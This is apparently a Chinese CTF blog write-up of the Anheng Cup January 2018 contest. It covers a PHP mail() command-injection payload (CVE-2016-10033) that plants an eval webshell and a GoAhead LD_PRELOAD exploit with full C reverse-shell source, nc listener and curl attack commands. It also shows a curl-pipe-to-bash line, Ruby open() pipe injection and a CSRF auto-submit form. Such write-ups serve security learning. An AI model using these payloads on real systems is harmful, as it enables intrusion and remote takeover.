安恒杯一月份月赛

Jan 25, 2018 09:54 · 324 words · 2 minute read ctf

经典留言板

知识点

php的mail的第五个参数($options)可以导致命令执行。漏洞编号CVE-2016-10033

详解

mail的五个参数

bool mail  ( string $to  , string $subject  , string $message  [, string $additional_headers  [, string $additional_parameters  ]] )
  • to 指定邮件接收人
  • $subject 文件标题
  • $message 文件内容
  • $additional_headers 邮件发送时的添加额外的头部
  • $additional_parameters 指定传递给发送程序sendmail的额外参数

在linux中,mail函数的实现是调用了linux的sendmail程序,下面是sendmail的几个要利用的参数。

参数
-f:指定邮件发送者全名
-X LogFile:将日志文件写入到指定的文件中
-O 设置对列目录

-O参数可以解决写文件时权限不够的问题,将-O参数设置为queueDirectory=‘要写入的目录名’,就可以成功写入了。

payload:

http://192.168.5.70/
post数据
email=yang@qq.com -OqueueDirectory=/ -Xyang.php&title=<?php eval($_GET[1]);?>&content=tsettest

详解链接

GoGoGo

复现这个题的时候服务器老挂。。

收获

1.cgi文件后缀的是GoAhead服务器。 2.知道GoAhead服务器,并且该服务器有很多漏洞。 3.如何利用服务器漏洞。

攻击GoAhead服务器。

到github找poc。 1.测试脚本的使用

test1.c

#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}

编译

gcc -shared -fPIC ./test1.c -o test.so

执行攻击程序

curl -X POST --data-binary @payload.so http://192.168.5.83:8080/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i | head

回显

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  6356    0    12  100  6344     10   5540  0:00:01  0:00:01 --:--:--  5545
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sat Jan 27 14:42:49 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-Type: text/html

可以看到已经输出hello: World!,所以可知道攻击程序有效,于是可以找一些c写的反弹shell的代码。

做到这里的时候服务器又连不上了。。这里放下安恒师傅的源码。

poc.c

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "198.168.1.123" 
#define REMOTE_PORT 4444

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    execve("/bin/sh", 0, 0);
    write(1, "Hello: World!\n", 14);
}


编译

gcc -shared -fPIC ./poc.c -o poc.so

本地监听端口 4444(要与poc.c的设置一致)

nc -lvp 4444

攻击

curl -X POST --data-binary @poc.so http://192.168.5.83:8080/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i

Freebuf 安恒社区 安恒师傅github

与时俱进2

知识点

1.ruby的open函数可以用来打开文件或者创建一个子进程。

  • 打开文件的写法

    open("filename") do |f|
    print f.gets
    End
    
  • 创建子进程的写法(管道符开头后加命令)

    cmd = open("|命令")
    print cmd.gets
    cmd.close
    

2.Ruby NET::Ftp NET::Ftp类对ftp协议做了一个封装,可以通过这个类方便的实现一个FTP服务器和客户端。

几点收获

1.touch filename //创建一个空文件。 2.${IFS}在linuxbash命令中可代表空格。 3.curl -s IP 可以获取网页的内容,祛除进程信息之类的。 4.可以在服务器运行一个python脚本来开启一个ftp服务。代码如下(需要安装pyftpdlib模块)

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()
authorizer.add_user('ftp', 'ftp', '/home/ftp/', perm='elradfmw')
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()
  1. 在linux的’|‘(管道符)作用是将管道符之前的命令的输出结果作为管道符之后的命令的输出对象。

    curl -s 1.1.1.1|bash # 将访问1.1.1.1获得的内容写入bash执行。
    

    大致思路

    由于open函数可以执行命令,所以可以利用这个特性,创建一个带管道符的文件名。比如叫”|whoami”的文件,当ftp服务器去读取这个文件时,调用open()函数,当文件名传入后就变成这样open(“|whoami”),可以发现这时执行的就是命令而不是去打开一个文件。 详解链接

再来一个友情链接

详细题解在社区

几点收获

1.post型csrf利用:可以构造一个form表单,然后使用js代码使其被访问时自动提交。

以银行转钱为例
<form method="post" action='银行转钱的url'>
	<input name='name' value='hacker'>
	<input name='money' value='10000'>
</form>

2.同源策略只拦截返回的数据,不拦截发出的数据。 3.利用csrf进行文件上传

tweet Share